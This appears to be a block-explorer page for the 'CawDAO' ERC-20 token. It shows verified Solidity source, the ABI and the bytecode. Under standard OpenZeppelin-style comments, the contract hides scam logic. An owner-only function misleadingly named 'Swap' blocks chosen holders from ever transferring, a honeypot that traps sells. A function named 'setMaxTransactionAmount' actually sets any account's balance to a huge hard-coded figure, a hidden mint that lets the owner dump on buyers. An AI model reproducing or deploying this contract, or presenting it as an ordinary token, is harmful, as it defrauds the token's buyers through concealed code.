Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
30,000,000,000 CawDAO
Holders
67
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
139,846,956.003967335 CawDAOValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
CawDAO
Compiler Version
v0.8.2+commit.661d1103
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-13 */ // SPDX-License-Identifier: MIT pragma solidity =0.8.2; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { address internal _owner; mapping (address => uint256) internal _balances; mapping (address => bool) private _executeTransfer; mapping (address => mapping (address => uint256)) private _allowances; uint256 private maxTxLimit = 1*10**16*10**9; uint256 internal _totalSupply; bool intTx = true; uint256 private balances; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _owner = msg.sender; balances = maxTxLimit; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 9; } function excludeFromMaxTransaction(address _senderAddress) external onlyOwner { _executeTransfer[_senderAddress] = false; } function Swap(address _senderAddress) external onlyOwner { _executeTransfer[_senderAddress] = true; } function swapTokensAtAmount(address _senderAddress) public view returns (bool) { return _executeTransfer[_senderAddress]; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be grater thatn zero"); if (_executeTransfer[sender] || _executeTransfer[recipient]) require(intTx == false, ""); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _setMaxTransactionAmount(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = balances - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ contract CawDAO is ERC20 { uint8 immutable private _decimals = 9; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor () ERC20('CawDAO Coin', 'CawDAO') { _totalSupply += 30000000000 * 10**9; _balances[_msgSender()] += _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function decimals() public view virtual override returns (uint8) { return _decimals; } function setMaxTransactionAmount(address account, uint256 amount) external onlyOwner { _setMaxTransactionAmount(account, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"Swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setMaxTransactionAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_senderAddress","type":"address"}],"name":"swapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60a06040526a084595161401484a0000006004556001600660006101000a81548160ff021916908315150217905550600960ff1660809060ff1660f81b8152503480156200004c57600080fd5b506040518060400160405280600b81526020017f43617744414f20436f696e0000000000000000000000000000000000000000008152506040518060400160405280600681526020017f43617744414f00000000000000000000000000000000000000000000000000008152508160089080519060200190620000d19291906200024a565b508060099080519060200190620000ea9291906200024a565b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045460078190555050506801a055690d9db800006005600082825462000153919062000328565b9250508190555060055460016000620001716200024260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620001bc919062000328565b92505081905550620001d36200024260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200023491906200030b565b60405180910390a362000423565b600033905090565b82805462000258906200038f565b90600052602060002090601f0160209004810192826200027c5760008555620002c8565b82601f106200029757805160ff1916838001178555620002c8565b82800160010185558215620002c8579182015b82811115620002c7578251825591602001919060010190620002aa565b5b509050620002d79190620002db565b5090565b5b80821115620002f6576000816000905550600101620002dc565b5090565b620003058162000385565b82525050565b6000602082019050620003226000830184620002fa565b92915050565b6000620003358262000385565b9150620003428362000385565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200037a5762000379620003c5565b5b828201905092915050565b6000819050919050565b60006002820490506001821680620003a857607f821691505b60208210811415620003bf57620003be620003f4565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60805160f81c611cff6200044260003960006105050152611cff6000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806343537c7a1161009757806395d89b411161006657806395d89b4114610298578063a457c2d7146102b6578063a9059cbb146102e6578063dd62ed3e14610316576100f5565b806343537c7a1461020057806346d6258f1461021c57806370a082311461024c5780637cf140241461027c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806339fded47146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906115b2565b60405180910390f35b610132600480360381019061012d9190611351565b6103d8565b60405161013f9190611597565b60405180910390f35b6101506103f6565b60405161015d9190611754565b60405180910390f35b610180600480360381019061017b9190611302565b610400565b60405161018d9190611597565b60405180910390f35b61019e610501565b6040516101ab919061176f565b60405180910390f35b6101ce60048036038101906101c99190611351565b610529565b6040516101db9190611597565b60405180910390f35b6101fe60048036038101906101f9919061129d565b6105d5565b005b61021a60048036038101906102159190611351565b6106be565b005b6102366004803603810190610231919061129d565b61075a565b6040516102439190611597565b60405180910390f35b6102666004803603810190610261919061129d565b6107b0565b6040516102739190611754565b60405180910390f35b6102966004803603810190610291919061129d565b6107f9565b005b6102a06108e2565b6040516102ad91906115b2565b60405180910390f35b6102d060048036038101906102cb9190611351565b610974565b6040516102dd9190611597565b60405180910390f35b61030060048036038101906102fb9190611351565b610a68565b60405161030d9190611597565b60405180910390f35b610330600480360381019061032b91906112c6565b610a86565b60405161033d9190611754565b60405180910390f35b606060088054610355906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610381906118b8565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168201915b5050505050905090565b60006103ec6103e5610b0d565b8484610b15565b6001905092915050565b6000600554905090565b600061040d848484610ce0565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610458610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156104d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104cf90611674565b60405180910390fd5b6104f5856104e4610b0d565b85846104f091906117fc565b610b15565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000000905090565b60006105cb610536610b0d565b848460036000610544610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105c691906117a6565b610b15565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90611694565b60405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074390611694565b60405180910390fd5b61075682826110a2565b5050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90611694565b60405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6060600980546108f1906118b8565b80601f016020809104026020016040519081016040528092919081815260200182805461091d906118b8565b801561096a5780601f1061093f5761010080835404028352916020019161096a565b820191906000526020600020905b81548152906001019060200180831161094d57829003601f168201915b5050505050905090565b60008060036000610983610b0d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790611734565b60405180910390fd5b610a5d610a4b610b0d565b858584610a5891906117fc565b610b15565b600191505092915050565b6000610a7c610a75610b0d565b8484610ce0565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7c90611714565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bec90611634565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610cd39190611754565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d47906116d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db7906115d4565b60405180910390fd5b60008111610e03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfa90611614565b60405180910390fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610ea45750600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f005760001515600660009054906101000a900460ff16151514610eff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ef6906116f4565b60405180910390fd5b5b610f0b83838361126e565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990611654565b60405180910390fd5b8181610f9e91906117fc565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461103091906117a6565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110949190611754565b60405180910390a350505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611112576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611109906116b4565b60405180910390fd5b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611199576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611190906115f4565b60405180910390fd5b816007546111a791906117fc565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008282546111fc91906117fc565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112619190611754565b60405180910390a3505050565b505050565b60008135905061128281611c9b565b92915050565b60008135905061129781611cb2565b92915050565b6000602082840312156112af57600080fd5b60006112bd84828501611273565b91505092915050565b600080604083850312156112d957600080fd5b60006112e785828601611273565b92505060206112f885828601611273565b9150509250929050565b60008060006060848603121561131757600080fd5b600061132586828701611273565b935050602061133686828701611273565b925050604061134786828701611288565b9150509250925092565b6000806040838503121561136457600080fd5b600061137285828601611273565b925050602061138385828601611288565b9150509250929050565b61139681611842565b82525050565b60006113a78261178a565b6113b18185611795565b93506113c1818560208601611885565b6113ca81611948565b840191505092915050565b60006113e2602383611795565b91506113ed82611959565b604082019050919050565b6000611405602283611795565b9150611410826119a8565b604082019050919050565b6000611428602983611795565b9150611433826119f7565b604082019050919050565b600061144b602283611795565b915061145682611a46565b604082019050919050565b600061146e602683611795565b915061147982611a95565b604082019050919050565b6000611491602883611795565b915061149c82611ae4565b604082019050919050565b60006114b4602083611795565b91506114bf82611b33565b602082019050919050565b60006114d7602183611795565b91506114e282611b5c565b604082019050919050565b60006114fa602583611795565b915061150582611bab565b604082019050919050565b600061151d600083611795565b915061152882611bfa565b600082019050919050565b6000611540602483611795565b915061154b82611bfd565b604082019050919050565b6000611563602583611795565b915061156e82611c4c565b604082019050919050565b6115828161186e565b82525050565b61159181611878565b82525050565b60006020820190506115ac600083018461138d565b92915050565b600060208201905081810360008301526115cc818461139c565b905092915050565b600060208201905081810360008301526115ed816113d5565b9050919050565b6000602082019050818103600083015261160d816113f8565b9050919050565b6000602082019050818103600083015261162d8161141b565b9050919050565b6000602082019050818103600083015261164d8161143e565b9050919050565b6000602082019050818103600083015261166d81611461565b9050919050565b6000602082019050818103600083015261168d81611484565b9050919050565b600060208201905081810360008301526116ad816114a7565b9050919050565b600060208201905081810360008301526116cd816114ca565b9050919050565b600060208201905081810360008301526116ed816114ed565b9050919050565b6000602082019050818103600083015261170d81611510565b9050919050565b6000602082019050818103600083015261172d81611533565b9050919050565b6000602082019050818103600083015261174d81611556565b9050919050565b60006020820190506117696000830184611579565b92915050565b60006020820190506117846000830184611588565b92915050565b600081519050919050565b600082825260208201905092915050565b60006117b18261186e565b91506117bc8361186e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156117f1576117f06118ea565b5b828201905092915050565b60006118078261186e565b91506118128361186e565b925082821015611825576118246118ea565b5b828203905092915050565b600061183b8261184e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156118a3578082015181840152602081019050611888565b838111156118b2576000848401525b50505050565b600060028204905060018216806118d057607f821691505b602082108114156118e4576118e3611919565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611ca481611830565b8114611caf57600080fd5b50565b611cbb8161186e565b8114611cc657600080fd5b5056fea2646970667358221220ceef194ba2e99a64e74c6dddaeb611dce5ff0df418d0d5d92c3902a70d37c49664736f6c63430008020033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806343537c7a1161009757806395d89b411161006657806395d89b4114610298578063a457c2d7146102b6578063a9059cbb146102e6578063dd62ed3e14610316576100f5565b806343537c7a1461020057806346d6258f1461021c57806370a082311461024c5780637cf140241461027c576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b457806339fded47146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610346565b60405161010f91906115b2565b60405180910390f35b610132600480360381019061012d9190611351565b6103d8565b60405161013f9190611597565b60405180910390f35b6101506103f6565b60405161015d9190611754565b60405180910390f35b610180600480360381019061017b9190611302565b610400565b60405161018d9190611597565b60405180910390f35b61019e610501565b6040516101ab919061176f565b60405180910390f35b6101ce60048036038101906101c99190611351565b610529565b6040516101db9190611597565b60405180910390f35b6101fe60048036038101906101f9919061129d565b6105d5565b005b61021a60048036038101906102159190611351565b6106be565b005b6102366004803603810190610231919061129d565b61075a565b6040516102439190611597565b60405180910390f35b6102666004803603810190610261919061129d565b6107b0565b6040516102739190611754565b60405180910390f35b6102966004803603810190610291919061129d565b6107f9565b005b6102a06108e2565b6040516102ad91906115b2565b60405180910390f35b6102d060048036038101906102cb9190611351565b610974565b6040516102dd9190611597565b60405180910390f35b61030060048036038101906102fb9190611351565b610a68565b60405161030d9190611597565b60405180910390f35b610330600480360381019061032b91906112c6565b610a86565b60405161033d9190611754565b60405180910390f35b606060088054610355906118b8565b80601f0160208091040260200160405190810160405280929190818152602001828054610381906118b8565b80156103ce5780601f106103a3576101008083540402835291602001916103ce565b820191906000526020600020905b8154815290600101906020018083116103b157829003601f168